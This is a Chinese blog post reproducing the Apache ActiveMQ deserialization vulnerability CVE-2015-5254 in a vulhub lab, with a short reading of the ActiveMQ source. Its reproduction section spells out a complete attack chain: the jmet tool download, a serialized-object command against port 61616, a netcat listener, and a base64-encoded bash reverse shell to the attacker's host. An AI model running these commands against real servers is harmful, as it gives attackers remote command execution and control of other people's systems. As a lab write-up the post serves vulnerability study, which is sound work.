activemq_CVE-2015-5254_漏洞复现_源码分析

0x01_漏洞简介

Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。
ApacheActive MQ5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java消息服务(JMS) ObjectMessage对象,利用该漏洞执行任意代码。

漏洞版本:

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

0x02_漏洞复现

【1】进入漏洞所在目录:

[root@localhost vulhub]# cd activemq
[root@localhost activemq]# ls
CVE-2015-5254  CVE-2016-3088
[root@localhost activemq]# cd CVE-2015-5254/
[root@localhost CVE-2015-5254]#

【2】启动环境并查看端口
在这里插入图片描述
访问ip:8161
在这里插入图片描述

【3】在攻击机(kali)中,构建攻击payload,利用jmet生成一个序列化的对象

(1)下载jmet的jar文件

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在这里插入图片描述

【2】给目标ActiveMQ添加一个名为event的队列,此时就成功给服务器添加了一个“事件”

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/hack_for_fun” -Yp ROME 172.16.135.201 61616

上面的172.16.135.201是靶机的IP(有洞的IP)

但是报错了:
在这里插入图片描述
没关系,接着下一步:

靶机访问:
在这里插入图片描述
admin/admin

因为我执行了两次命令,所以,出现了两个:并且点击一个
在这里插入图片描述
点击之后跳转到:
在这里插入图片描述

再看看靶机的/tmp目录下:

docker ps

在这里插入图片描述
CONTAINER ID是9794c7f87d0a,

docker exec -it 9794c7f87d0a /bin/bash

在这里插入图片描述

在这里插入图片描述
看到有创建的hack_for_fun就是利用成功了

【3】获取目标机系统控制权
在kali中监听9999端口

nc -lvp 9999

在这里插入图片描述

首先payload是:
payload为 bash -i >& /dev/tcp/172.16.135.210/9999 0>&1

反弹shell的命令就不用多说了吧

但是要进行base64编码:
在这里插入图片描述

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=

再就是和之前一样利用jmet-0.1.0-all.jar

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 172.16.135.201 61616

靶机点击之后,就会反弹shell
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

简单总结:
1.构造可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问web管理页面,读取消息,触发漏洞

0x03_源码阅读

下载源码:
https://activemq.apache.org/components/classic/download/
在这里插入图片描述
这里我下载5.12.0
在这里插入图片描述
下载源码:
在这里插入图片描述

下载下来之后,用IDEA或者vscode打开

首先要理解的是:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序未能限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service (JMS) ObjectMessage对象利用该漏洞执行任意代码。

在这里插入图片描述

ObjectMessage属于javax.jms包下,用到了java.io.Serializable
在这里插入图片描述
ObjectMessage是一接口,继承自Message,有两个方法:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
注意这里有一个消息生产者:
MessageProducer

当然还有消息的消费者:
在这里插入图片描述
什么时候执行我们恶意发送的命令?
下面的代码展示了流程:
在这里插入图片描述

在ActiveMQ中,有这样的角色:消费者和生产者,消费者消费的时候,就执行了我们在消息中恶意想要服务器执行的代码。

最后,补充一个对于ActiveMQ消费者消费消息的源码分析注释:
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值